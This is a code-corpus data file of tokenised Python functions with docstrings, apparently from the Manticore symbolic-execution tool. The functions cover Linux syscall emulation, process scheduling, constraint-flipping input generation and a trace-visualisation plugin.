{"signature": "def sys_mprotect(self, start, size, prot):", "body": "perms = perms_from_protflags(prot)<EOL>ret = self.current.memory.mprotect(start, size, perms)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Sets protection on a region of memory. Changes protection for the calling process's\nmemory page(s) containing any part of the address range in the interval [C{start}, C{start}+C{size}-1].\n:rtype: int\n\n:param start: the starting address to change the permissions.\n:param size: the size of the portion of memory to change the permissions.\n:param prot: the new access permission for the memory.\n:return: C{0} on success.", "id": "f17024:c9:m59"}
{"signature": "def sys_munmap(self, addr, size):", "body": "self.current.memory.munmap(addr, size)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Unmaps a file from memory. It deletes the mappings for the specified address range\n:rtype: int\n\n:param addr: the starting address to unmap.\n:param size: the size of the portion to unmap.\n:return: C{0} on success.", "id": "f17024:c9:m60"}
{"signature": "def sys_getuid(self):", "body": "return <NUM_LIT:1000><EOL>", "docstring": "Gets user identity.\n:rtype: int\n\n:return: this call returns C{1000} for all the users.", "id": "f17024:c9:m61"}
{"signature": "def sys_getgid(self):", "body": "return <NUM_LIT:1000><EOL>", "docstring": "Gets group identity.\n:rtype: int\n\n:return: this call returns C{1000} for all the groups.", "id": "f17024:c9:m62"}
{"signature": "def sys_geteuid(self):", "body": "return <NUM_LIT:1000><EOL>", "docstring": "Gets user identity.\n:rtype: int\n\n:return: This call returns C{1000} for all the users.", "id": "f17024:c9:m63"}
{"signature": "def sys_getegid(self):", "body": "return <NUM_LIT:1000><EOL>", "docstring": "Gets group identity.\n:rtype: int\n\n:return: this call returns C{1000} for all the groups.", "id": "f17024:c9:m64"}
{"signature": "def sys_readv(self, fd, iov, count):", "body": "cpu = self.current<EOL>ptrsize = cpu.address_bit_size<EOL>sizeof_iovec = <NUM_LIT:2> * (ptrsize // <NUM_LIT:8>)<EOL>total = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:0>, count):<EOL><INDENT>buf = cpu.read_int(iov + i * sizeof_iovec, ptrsize)<EOL>size = cpu.read_int(iov + i * sizeof_iovec + (sizeof_iovec // <NUM_LIT:2>),<EOL>ptrsize)<EOL>data = self.files[fd].read(size)<EOL>total += len(data)<EOL>cpu.write_bytes(buf, data)<EOL>self.syscall_trace.append((\"<STR_LIT>\", fd, data))<EOL><DEDENT>return total<EOL>", "docstring": "Works just like C{sys_read} except that data is read into multiple buffers.\n:rtype: int\n\n:param fd: the file descriptor of the file to read.\n:param iov: the buffer where the the bytes to read are stored.\n:param count: amount of C{iov} buffers to read from the file.\n:return: the amount of bytes read in total.", "id": "f17024:c9:m65"}
{"signature": "def sys_writev(self, fd, iov, count):", "body": "cpu = self.current<EOL>ptrsize = cpu.address_bit_size<EOL>sizeof_iovec = <NUM_LIT:2> * (ptrsize // <NUM_LIT:8>)<EOL>total = <NUM_LIT:0><EOL>try:<EOL><INDENT>write_fd = self._get_fd(fd)<EOL><DEDENT>except FdError as e:<EOL><INDENT>logger.error(f\"<STR_LIT>\")<EOL>return -e.err<EOL><DEDENT>for i in range(<NUM_LIT:0>, count):<EOL><INDENT>buf = cpu.read_int(iov + i * sizeof_iovec, ptrsize)<EOL>size = cpu.read_int(iov + i * sizeof_iovec + (sizeof_iovec // <NUM_LIT:2>), ptrsize)<EOL>data = [Operators.CHR(cpu.read_int(buf + i, <NUM_LIT:8>)) for i in range(size)]<EOL>data = self._transform_write_data(data)<EOL>write_fd.write(data)<EOL>self.syscall_trace.append((\"<STR_LIT>\", fd, data))<EOL>total += size<EOL><DEDENT>return total<EOL>", "docstring": "Works just like C{sys_write} except that multiple buffers are written out.\n:rtype: int\n\n:param fd: the file descriptor of the file to write.\n:param iov: the buffer where the the bytes to write are taken.\n:param count: amount of C{iov} buffers to write into the file.\n:return: the amount of bytes written in total.", "id": "f17024:c9:m66"}
{"signature": "def sys_set_thread_area(self, user_info):", "body": "n = self.current.read_int(user_info, <NUM_LIT:32>)<EOL>pointer = self.current.read_int(user_info + <NUM_LIT:4>, <NUM_LIT:32>)<EOL>m = self.current.read_int(user_info + <NUM_LIT:8>, <NUM_LIT:32>)<EOL>flags = self.current.read_int(user_info + <NUM_LIT:12>, <NUM_LIT:32>)<EOL>assert n == <NUM_LIT><EOL>assert flags == <NUM_LIT>  <EOL>self.current.GS = <NUM_LIT><EOL>self.current.set_descriptor(self.current.GS, pointer, <NUM_LIT>, '<STR_LIT>')<EOL>self.current.write_int(user_info, (<NUM_LIT> - <NUM_LIT:3>) // <NUM_LIT:8>, <NUM_LIT:32>)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Sets a thread local storage (TLS) area. Sets the base address of the GS segment.\n:rtype: int\n\n:param user_info: the TLS array entry set corresponds to the value of C{u_info->entry_number}.\n:return: C{0} on success.", "id": "f17024:c9:m67"}
{"signature": "def sys_getpriority(self, which, who):", "body": "logger.warning(\"<STR_LIT>\")<EOL>return <NUM_LIT:0><EOL>", "docstring": "System call ignored.\n:rtype: int\n\n:return: C{0}", "id": "f17024:c9:m68"}
{"signature": "def sys_setpriority(self, which, who, prio):", "body": "logger.warning(\"<STR_LIT>\")<EOL>return <NUM_LIT:0><EOL>", "docstring": "System call ignored.\n:rtype: int\n\n:return: C{0}", "id": "f17024:c9:m69"}
{"signature": "def sys_acct(self, path):", "body": "logger.debug(\"<STR_LIT>\")<EOL>return -<NUM_LIT:1><EOL>", "docstring": "System call not implemented.\n:rtype: int\n\n:return: C{-1}", "id": "f17024:c9:m71"}
{"signature": "def sys_exit(self, error_code):", "body": "return self.sys_exit_group(error_code)<EOL>", "docstring": "Wrapper for sys_exit_group", "id": "f17024:c9:m72"}
{"signature": "def sys_exit_group(self, error_code):", "body": "return self._exit(f\"<STR_LIT>\")<EOL>", "docstring": "Exits all threads in a process\n:raises Exception: 'Finished'", "id": "f17024:c9:m73"}
{"signature": "def sys_getrandom(self, buf, size, flags):", "body": "GRND_NONBLOCK = <NUM_LIT><EOL>GRND_RANDOM = <NUM_LIT><EOL>if size == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if buf not in self.current.memory:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return -errno.EFAULT<EOL><DEDENT>if flags & ~(GRND_NONBLOCK | GRND_RANDOM):<EOL><INDENT>return -errno.EINVAL<EOL><DEDENT>self.current.write_bytes(buf, '<STR_LIT:\\x00>' * size)<EOL>return size<EOL>", "docstring": "The getrandom system call fills the buffer with random bytes of buflen.\nThe source of random (/dev/random or /dev/urandom) is decided based on\nthe flags value.\n\nManticore's implementation simply fills a buffer with zeroes -- choosing\ndeterminism over true randomness.\n\n:param buf: address of buffer to be filled with random bytes\n:param size: number of random bytes\n:param flags: source of random (/dev/random or /dev/urandom)\n:return: number of bytes copied to buf", "id": "f17024:c9:m97"}
{"signature": "def syscall(self):", "body": "index = self._syscall_abi.syscall_number()<EOL>try:<EOL><INDENT>table = getattr(linux_syscalls, self.current.machine)<EOL>name = table.get(index, None)<EOL>implementation = getattr(self, name)<EOL><DEDENT>except (AttributeError, KeyError):<EOL><INDENT>if name is not None:<EOL><INDENT>raise SyscallNotImplemented(index, name)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(f\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return self._syscall_abi.invoke(implementation)<EOL>", "docstring": "Syscall dispatcher.", "id": "f17024:c9:m98"}
{"signature": "def sched(self):", "body": "if len(self.procs) > <NUM_LIT:1>:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL><DEDENT>if len(self.running) == <NUM_LIT:0>:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>if all([x is None for x in self.timers]):<EOL><INDENT>raise Deadlock()<EOL><DEDENT>self.clocks = min(x for x in self.timers if x is not None) + <NUM_LIT:1><EOL>self.check_timers()<EOL>assert len(self.running) != <NUM_LIT:0>, \"<STR_LIT>\"<EOL>self._current = self.running[<NUM_LIT:0>]<EOL>return<EOL><DEDENT>next_index = (self.running.index(self._current) + <NUM_LIT:1>) % len(self.running)<EOL>next_running_idx = self.running[next_index]<EOL>if len(self.procs) > <NUM_LIT:1>:<EOL><INDENT>logger.debug(f\"<STR_LIT>\")<EOL><DEDENT>self._current = next_running_idx<EOL>", "docstring": "Yield CPU.\n            This will choose another process from the running list and change\n            current running process. May give the same cpu if only one running\n            process.", "id": "f17024:c9:m101"}
{"signature": "def wait(self, readfds, writefds, timeout):", "body": "logger.debug(\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>for fd in readfds:<EOL><INDENT>self.rwait[fd].add(self._current)<EOL><DEDENT>for fd in writefds:<EOL><INDENT>self.twait[fd].add(self._current)<EOL><DEDENT>if timeout is not None:<EOL><INDENT>self.timers[self._current] = self.clocks + timeout<EOL><DEDENT>procid = self._current<EOL>next_index = (self.running.index(procid) + <NUM_LIT:1>) % len(self.running)<EOL>self._current = self.running[next_index]<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>self.running.remove(procid)<EOL>if self._current not in self.running:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self._current = None<EOL>self.check_timers()<EOL><DEDENT>", "docstring": "Wait for file descriptors or timeout.\n            Adds the current process in the correspondent waiting list and\n            yield the cpu to another running process.", "id": "f17024:c9:m102"}
{"signature": "def awake(self, procid):", "body": "logger.debug(f\"<STR_LIT>\")<EOL>for wait_list in self.rwait:<EOL><INDENT>if procid in wait_list:<EOL><INDENT>wait_list.remove(procid)<EOL><DEDENT><DEDENT>for wait_list in self.twait:<EOL><INDENT>if procid in wait_list:<EOL><INDENT>wait_list.remove(procid)<EOL><DEDENT><DEDENT>self.timers[procid] = None<EOL>self.running.append(procid)<EOL>if self._current is None:<EOL><INDENT>self._current = procid<EOL><DEDENT>", "docstring": "Remove procid from waitlists and reestablish it in the running list", "id": "f17024:c9:m103"}
{"signature": "def connections(self, fd):", "body": "if fd in [<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>]:<EOL><INDENT>return None<EOL><DEDENT>if fd % <NUM_LIT:2>:<EOL><INDENT>return fd + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return fd - <NUM_LIT:1><EOL><DEDENT>", "docstring": "File descriptors are connected to each other like pipes, except\n        for 0, 1, and 2. If you write to FD(N) for N >=3, then that comes\n        out from FD(N+1) and vice-versa", "id": "f17024:c9:m104"}
{"signature": "def signal_receive(self, fd):", "body": "connections = self.connections<EOL>if connections(fd) and self.twait[connections(fd)]:<EOL><INDENT>procid = random.sample(self.twait[connections(fd)], <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>self.awake(procid)<EOL><DEDENT>", "docstring": "Awake one process waiting to receive data on fd", "id": "f17024:c9:m105"}
{"signature": "def signal_transmit(self, fd):", "body": "connection = self.connections(fd)<EOL>if connection is None or connection >= len(self.rwait):<EOL><INDENT>return<EOL><DEDENT>procs = self.rwait[connection]<EOL>if procs:<EOL><INDENT>procid = random.sample(procs, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>self.awake(procid)<EOL><DEDENT>", "docstring": "Awake one process waiting to transmit data on fd", "id": "f17024:c9:m106"}
{"signature": "def check_timers(self):", "body": "if self._current is None:<EOL><INDENT>advance = min([self.clocks] + [x for x in self.timers if x is not None]) + <NUM_LIT:1><EOL>logger.debug(f\"<STR_LIT>\")<EOL>self.clocks = advance<EOL><DEDENT>for procid in range(len(self.timers)):<EOL><INDENT>if self.timers[procid] is not None:<EOL><INDENT>if self.clocks > self.timers[procid]:<EOL><INDENT>self.procs[procid].PC += self.procs[procid].instruction.size<EOL>self.awake(procid)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Awake process if timer has expired", "id": "f17024:c9:m107"}
{"signature": "def execute(self):", "body": "try:<EOL><INDENT>self.current.execute()<EOL>self.clocks += <NUM_LIT:1><EOL>if self.clocks % <NUM_LIT> == <NUM_LIT:0>:<EOL><INDENT>self.check_timers()<EOL>self.sched()<EOL><DEDENT><DEDENT>except (Interruption, Syscall) as e:<EOL><INDENT>try:<EOL><INDENT>self.syscall()<EOL>if hasattr(e, '<STR_LIT>'):<EOL><INDENT>e.on_handled()<EOL><DEDENT><DEDENT>except RestartSyscall:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Execute one cpu instruction in the current thread (only one supported).\n:rtype: bool\n:return: C{True}\n\n:todo: This is where we could implement a simple schedule.", "id": "f17024:c9:m108"}
{"signature": "def sys_newfstat(self, fd, buf):", "body": "try:<EOL><INDENT>stat = self._get_fd(fd).stat()<EOL><DEDENT>except FdError as e:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return -e.err<EOL><DEDENT>def add(width, val):<EOL><INDENT>fformat = {<NUM_LIT:2>: '<STR_LIT:H>', <NUM_LIT:4>: '<STR_LIT:L>', <NUM_LIT:8>: '<STR_LIT>'}[width]<EOL>return struct.pack('<STR_LIT:<>' + fformat, val)<EOL><DEDENT>def to_timespec(width, ts):<EOL><INDENT>'<STR_LIT>'<EOL>return add(width, int(ts)) + add(width, int(ts % <NUM_LIT:1> * <NUM_LIT>))<EOL><DEDENT>nw = self.current.address_bit_size // <NUM_LIT:8><EOL>bufstat = add(nw, stat.st_dev)     <EOL>bufstat += add(nw, stat.st_ino)     <EOL>bufstat += add(nw, stat.st_nlink)   <EOL>bufstat += add(<NUM_LIT:4>, stat.st_mode)     <EOL>bufstat += add(<NUM_LIT:4>, stat.st_uid)      <EOL>bufstat += add(<NUM_LIT:4>, stat.st_gid)      <EOL>bufstat += add(<NUM_LIT:4>, <NUM_LIT:0>)                <EOL>bufstat += add(nw, stat.st_rdev)    <EOL>bufstat += add(nw, stat.st_size)    <EOL>bufstat += add(nw, stat.st_blksize)  <EOL>bufstat += add(nw, stat.st_blocks)  <EOL>bufstat += to_timespec(nw, stat.st_atime)  <EOL>bufstat += to_timespec(nw, stat.st_mtime)  <EOL>bufstat += to_timespec(nw, stat.st_ctime)  <EOL>self.current.write_bytes(buf, bufstat)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Determines information about a file based on its file descriptor.\n:rtype: int\n:param fd: the file descriptor of the file that is being inquired.\n:param buf: a buffer where data about the file will be stored.\n:return: C{0} on success, EBADF when called with bad fd", "id": "f17024:c9:m109"}
{"signature": "def sys_fstat(self, fd, buf):", "body": "try:<EOL><INDENT>stat = self._get_fd(fd).stat()<EOL><DEDENT>except FdError as e:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return -e.err<EOL><DEDENT>def add(width, val):<EOL><INDENT>fformat = {<NUM_LIT:2>: '<STR_LIT:H>', <NUM_LIT:4>: '<STR_LIT:L>', <NUM_LIT:8>: '<STR_LIT>'}[width]<EOL>return struct.pack('<STR_LIT:<>' + fformat, val)<EOL><DEDENT>def to_timespec(ts):<EOL><INDENT>return struct.pack('<STR_LIT>', int(ts), int(ts % <NUM_LIT:1> * <NUM_LIT>))<EOL><DEDENT>bufstat = add(<NUM_LIT:8>, stat.st_dev)    <EOL>bufstat += add(<NUM_LIT:4>, <NUM_LIT:0>)              <EOL>bufstat += add(<NUM_LIT:4>, stat.st_ino)    <EOL>bufstat += add(<NUM_LIT:4>, stat.st_mode)   <EOL>bufstat += add(<NUM_LIT:4>, stat.st_nlink)  <EOL>bufstat += add(<NUM_LIT:4>, stat.st_uid)    <EOL>bufstat += add(<NUM_LIT:4>, stat.st_gid)    <EOL>bufstat += add(<NUM_LIT:4>, stat.st_rdev)   <EOL>bufstat += add(<NUM_LIT:4>, stat.st_size)   <EOL>bufstat += add(<NUM_LIT:4>, stat.st_blksize)  <EOL>bufstat += add(<NUM_LIT:4>, stat.st_blocks)  <EOL>bufstat += to_timespec(stat.st_atime)  <EOL>bufstat += to_timespec(stat.st_mtime)  <EOL>bufstat += to_timespec(stat.st_ctime)  <EOL>bufstat += add(<NUM_LIT:4>, <NUM_LIT:0>)              <EOL>bufstat += add(<NUM_LIT:4>, <NUM_LIT:0>)              <EOL>self.current.write_bytes(buf, bufstat)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Determines information about a file based on its file descriptor.\n:rtype: int\n:param fd: the file descriptor of the file that is being inquired.\n:param buf: a buffer where data about the file will be stored.\n:return: C{0} on success, EBADF when called with bad fd", "id": "f17024:c9:m110"}
{"signature": "def sys_fstat64(self, fd, buf):", "body": "try:<EOL><INDENT>stat = self._get_fd(fd).stat()<EOL><DEDENT>except FdError as e:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return -e.err<EOL><DEDENT>def add(width, val):<EOL><INDENT>fformat = {<NUM_LIT:2>: '<STR_LIT:H>', <NUM_LIT:4>: '<STR_LIT:L>', <NUM_LIT:8>: '<STR_LIT>'}[width]<EOL>return struct.pack('<STR_LIT:<>' + fformat, val)<EOL><DEDENT>def to_timespec(ts):<EOL><INDENT>return struct.pack('<STR_LIT>', int(ts), int(ts % <NUM_LIT:1> * <NUM_LIT>))<EOL><DEDENT>bufstat = add(<NUM_LIT:8>, stat.st_dev)        <EOL>bufstat += add(<NUM_LIT:8>, stat.st_ino)        <EOL>bufstat += add(<NUM_LIT:4>, stat.st_mode)       <EOL>bufstat += add(<NUM_LIT:4>, stat.st_nlink)      <EOL>bufstat += add(<NUM_LIT:4>, stat.st_uid)        <EOL>bufstat += add(<NUM_LIT:4>, stat.st_gid)        <EOL>bufstat += add(<NUM_LIT:8>, stat.st_rdev)       <EOL>bufstat += add(<NUM_LIT:8>, <NUM_LIT:0>)                  <EOL>bufstat += add(<NUM_LIT:8>, stat.st_size)       <EOL>bufstat += add(<NUM_LIT:4>, stat.st_blksize)    <EOL>bufstat += add(<NUM_LIT:4>, <NUM_LIT:0>)                  <EOL>bufstat += add(<NUM_LIT:8>, stat.st_blocks)     <EOL>bufstat += to_timespec(stat.st_atime)  <EOL>bufstat += to_timespec(stat.st_mtime)  <EOL>bufstat += to_timespec(stat.st_ctime)  <EOL>bufstat += add(<NUM_LIT:4>, <NUM_LIT:0>)                   <EOL>bufstat += add(<NUM_LIT:4>, <NUM_LIT:0>)                   <EOL>self.current.write_bytes(buf, bufstat)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Determines information about a file based on its file descriptor (for Linux 64 bits).\n:rtype: int\n:param fd: the file descriptor of the file that is being inquired.\n:param buf: a buffer where data about the file will be stored.\n:return: C{0} on success, EBADF when called with bad fd\n:todo: Fix device number.", "id": "f17024:c9:m111"}
{"signature": "def sys_newstat(self, fd, buf):", "body": "return self.sys_stat64(fd, buf)<EOL>", "docstring": "Wrapper for stat64()", "id": "f17024:c9:m112"}
{"signature": "def sys_stat64(self, path, buf):", "body": "return self._stat(path, buf, True)<EOL>", "docstring": "Determines information about a file based on its filename (for Linux 64 bits).\n:rtype: int\n:param path: the pathname of the file that is being inquired.\n:param buf: a buffer where data about the file will be stored.\n:return: C{0} on success.", "id": "f17024:c9:m113"}
{"signature": "@staticmethod<EOL><INDENT>def _interp_total_size(interp):<DEDENT>", "body": "load_segs = [x for x in interp.iter_segments() if x.header.p_type == '<STR_LIT>']<EOL>last = load_segs[-<NUM_LIT:1>]<EOL>return last.header.p_vaddr + last.header.p_memsz<EOL>", "docstring": "Compute total load size of interpreter.\n\n:param ELFFile interp: interpreter ELF .so\n:return: total load size of interpreter, not aligned\n:rtype: int", "id": "f17024:c9:m117"}
{"signature": "def add_symbolic_file(self, symbolic_file):", "body": "self.symbolic_files.append(symbolic_file)<EOL>", "docstring": "Add a symbolic file. Each '+' in the file will be considered\nas symbolic; other chars are concretized.\nSymbolic files must have been defined before the call to `run()`.\n\n:param str symbolic_file: the name of the symbolic file", "id": "f17024:c10:m2"}
{"signature": "def sys_open(self, buf, flags, mode):", "body": "offset = <NUM_LIT:0><EOL>symbolic_path = issymbolic(self.current.read_int(buf, <NUM_LIT:8>))<EOL>if symbolic_path:<EOL><INDENT>import tempfile<EOL>fd, path = tempfile.mkstemp()<EOL>with open(path, '<STR_LIT>') as f:<EOL><INDENT>f.write('<STR_LIT:+>' * <NUM_LIT:64>)<EOL><DEDENT>self.symbolic_files.append(path)<EOL>buf = self.current.memory.mmap(None, <NUM_LIT>, '<STR_LIT>', data_init=path)<EOL><DEDENT>rv = super().sys_open(buf, flags, mode)<EOL>if symbolic_path:<EOL><INDENT>self.current.memory.munmap(buf, <NUM_LIT>)<EOL><DEDENT>return rv<EOL>", "docstring": "A version of open(2) that includes a special case for a symbolic path.\nWhen given a symbolic path, it will create a temporary file with\n64 bytes of symbolic bytes as contents and return that instead.\n\n:param buf: address of zero-terminated pathname\n:param flags: file access bits\n:param mode: file permission mode", "id": "f17024:c10:m14"}
{"signature": "def sys_openat(self, dirfd, buf, flags, mode):", "body": "if issymbolic(dirfd):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self.constraints.add(dirfd >= <NUM_LIT:0>)<EOL>self.constraints.add(dirfd <= len(self.files))<EOL>raise ConcretizeArgument(self, <NUM_LIT:0>)<EOL><DEDENT>if issymbolic(buf):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>raise ConcretizeArgument(self, <NUM_LIT:1>)<EOL><DEDENT>return super().sys_openat(dirfd, buf, flags, mode)<EOL>", "docstring": "A version of openat that includes a symbolic path and symbolic directory file descriptor\n\n:param dirfd: directory file descriptor\n:param buf: address of zero-terminated pathname\n:param flags: file access bits\n:param mode: file permission mode", "id": "f17024:c10:m15"}
{"signature": "def sys_getrandom(self, buf, size, flags):", "body": "if issymbolic(buf):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>raise ConcretizeArgument(self, <NUM_LIT:0>)<EOL><DEDENT>if issymbolic(size):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>raise ConcretizeArgument(self, <NUM_LIT:1>)<EOL><DEDENT>if issymbolic(flags):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>raise ConcretizeArgument(self, <NUM_LIT:2>)<EOL><DEDENT>return super().sys_getrandom(buf, size, flags)<EOL>", "docstring": "The getrandom system call fills the buffer with random bytes of buflen.\nThe source of random (/dev/random or /dev/urandom) is decided based on the flags value.\n\n:param buf: address of buffer to be filled with random bytes\n:param size: number of random bytes\n:param flags: source of random (/dev/random or /dev/urandom)\n:return: number of bytes copied to buf", "id": "f17024:c10:m16"}
{"signature": "def emulate_next(cpu):", "body": "cpu.decode_instruction(cpu.PC)<EOL>emu = UnicornEmulator(cpu)<EOL>emu.emulate(cpu.instruction)<EOL>return emu<EOL>", "docstring": "Read the next instruction and emulate it with Unicorn", "id": "f17046:m1"}
{"signature": "def __init__(self, prg, prompt='<STR_LIT>'):", "body": "self.prompt = prompt<EOL>subprocess.Popen.__init__(self, ['<STR_LIT>', prg], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)<EOL>", "docstring": "Construct interactive Popen.", "id": "f17053:c0:m0"}
{"signature": "def correspond(self, text):", "body": "self.stdin.write(text)<EOL>self.stdin.flush()<EOL>str_buffer = '<STR_LIT>'<EOL>while not str_buffer.endswith(self.prompt):<EOL><INDENT>str_buffer += self.stdout.read(<NUM_LIT:1>)<EOL><DEDENT>return str_buffer<EOL>", "docstring": "Communicate with the child process without closing stdin.", "id": "f17053:c0:m1"}
{"signature": "def __init__(self, prg, prompt='<STR_LIT>'):", "body": "self.prompt = prompt<EOL>subprocess.Popen.__init__(self, ['<STR_LIT>', prg], stdin=subprocess.PIPE, stdout=subprocess.PIPE , stderr=subprocess.STDOUT)<EOL>", "docstring": "Construct interactive Popen.", "id": "f17055:c0:m0"}
{"signature": "def correspond(self, text):", "body": "self.stdin.write(text)<EOL>self.stdin.flush()<EOL>str_buffer = '<STR_LIT>'<EOL>while not str_buffer.endswith(self.prompt):<EOL><INDENT>str_buffer += self.stdout.read(<NUM_LIT:1>)<EOL><DEDENT>return str_buffer<EOL>", "docstring": "Communicate with the child process without closing stdin.", "id": "f17055:c0:m1"}
{"signature": "def flip(constraint):", "body": "equal = copy.copy(constraint)<EOL>assert len(equal.operands) == <NUM_LIT:2><EOL>ite, forcepc = equal.operands<EOL>assert isinstance(ite, BitVecITE) and isinstance(forcepc, BitVecConstant)<EOL>assert len(ite.operands) == <NUM_LIT:3><EOL>cond, iifpc, eelsepc = ite.operands<EOL>assert isinstance(iifpc, BitVecConstant) and isinstance(eelsepc, BitVecConstant)<EOL>equal._operands= (equal.operands[<NUM_LIT:0>], eelsepc if forcepc.value == iifpc.value else iifpc)<EOL>return equal<EOL>", "docstring": "flips a constraint (Equal)\n\n(Equal (BitVecITE Cond IfC ElseC) IfC)\n    ->\n(Equal (BitVecITE Cond IfC ElseC) ElseC)", "id": "f17135:m2"}
{"signature": "def perm(lst, func):", "body": "for i in range(<NUM_LIT:1>, <NUM_LIT:2>**len(lst)):<EOL><INDENT>yield [func(item) if (<NUM_LIT:1><<j)&i else item for (j, item) in enumerate(lst)]<EOL><DEDENT>", "docstring": "Produce permutations of `lst`, where permutations are mutated by `func`. Used for flipping constraints. highly\n    possible that returned constraints can be unsat this does it blindly, without any attention to the constraints\n    themselves\n\n    Considering lst as a list of constraints, e.g.\n\n      [ C1, C2, C3 ]\n\n    we'd like to consider scenarios of all possible permutations of flipped constraints, excluding the original list.\n    So we'd like to generate:\n\n      [ func(C1),      C2 ,       C3 ],\n      [      C1 , func(C2),       C3 ],\n      [ func(C1), func(C2),       C3 ],\n      [      C1 ,      C2 ,  func(C3)],\n      .. etc\n\n    This is effectively treating the list of constraints as a bitmask of width len(lst) and counting up, skipping the\n    0th element (unmodified array).\n\n    The code below yields lists of constraints permuted as above by treating list indeces as bitmasks from 1 to\n     2**len(lst) and applying func to all the set bit offsets.", "id": "f17135:m4"}
{"signature": "def input_from_cons(constupl, datas):", "body": "def make_chr(c):<EOL><INDENT>try:<EOL><INDENT>return chr(c)<EOL><DEDENT>except Exception:<EOL><INDENT>return c<EOL><DEDENT><DEDENT>newset = constraints_to_constraintset(constupl)<EOL>ret = '<STR_LIT>'<EOL>for data in datas:<EOL><INDENT>for c in data:<EOL><INDENT>ret += make_chr(solver.get_value(newset, c))<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "solve bytes in |datas| based on", "id": "f17135:m6"}
{"signature": "def symbolic_run_get_cons(trace):", "body": "m2 = Manticore.linux(prog, workspace_url='<STR_LIT>')<EOL>f = Follower(trace)<EOL>m2.verbosity(VERBOSITY)<EOL>m2.register_plugin(f)<EOL>def on_term_testcase(mcore, state, stateid, err):<EOL><INDENT>with m2.locked_context() as ctx:<EOL><INDENT>readdata = []<EOL>for name, fd, data in state.platform.syscall_trace:<EOL><INDENT>if name in ('<STR_LIT>', '<STR_LIT>') and fd == <NUM_LIT:0>:<EOL><INDENT>readdata.append(data)<EOL><DEDENT><DEDENT>ctx['<STR_LIT>'] = readdata<EOL>ctx['<STR_LIT>'] = list(state.constraints.constraints)<EOL><DEDENT><DEDENT>m2.subscribe('<STR_LIT>', on_term_testcase)<EOL>m2.run()<EOL>constraints = m2.context['<STR_LIT>']<EOL>datas = m2.context['<STR_LIT>']<EOL>return constraints, datas<EOL>", "docstring": "Execute a symbolic run that follows a concrete run; return constraints generated\nand the stdin data produced", "id": "f17135:m8"}
{"signature": "def contains(new, olds):", "body": "return any(eq(new, old) for old in olds)<EOL>", "docstring": "__contains__ operator using the `eq` function", "id": "f17135:m9"}
{"signature": "def getnew(oldcons, newcons):", "body": "return [new for new in newcons if not contains(new, oldcons)]<EOL>", "docstring": "return all constraints in newcons that aren't in oldcons", "id": "f17135:m10"}
{"signature": "def constraints_are_sat(cons):", "body": "return solver.check(constraints_to_constraintset(cons))<EOL>", "docstring": "Whether constraints are sat", "id": "f17135:m11"}
{"signature": "def viz_trace(view):", "body": "tv = TraceVisualizer(view, None)<EOL>if tv.workspace is None:<EOL><INDENT>tv.workspace = get_workspace()<EOL><DEDENT>tv.visualize()<EOL>", "docstring": "Given a Manticore trace file, highlight the basic blocks.", "id": "f17153:m1"}
{"signature": "def viz_live_trace(view):", "body": "tv = TraceVisualizer(view, None, live=True)<EOL>if tv.workspace is None:<EOL><INDENT>tv.workspace = get_workspace()<EOL><DEDENT>tv.live_update = True<EOL>tv.visualize()<EOL>", "docstring": "Given a Manticore trace file, highlight the basic blocks.", "id": "f17153:m2"}
{"signature": "def visualize(self):", "body": "if os.path.isfile(self.workspace):<EOL><INDENT>t = threading.Thread(target=self.highlight_from_file,<EOL>args=(self.workspace,))<EOL><DEDENT>elif os.path.isdir(self.workspace):<EOL><INDENT>t = threading.Thread(target=self.highlight_from_dir,<EOL>args=(self.workspace,))<EOL><DEDENT>t.start()<EOL>", "docstring": "Given a Manticore workspace, or trace file, highlight the basic blocks.", "id": "f17153:c1:m1"}
{"signature": "def correspond(text):", "body": "subproc.stdin.write(text)<EOL>subproc.stdin.flush()<EOL>return drain()<EOL>", "docstring": "Communicate with the child process without closing stdin.", "id": "f17154:m2"}
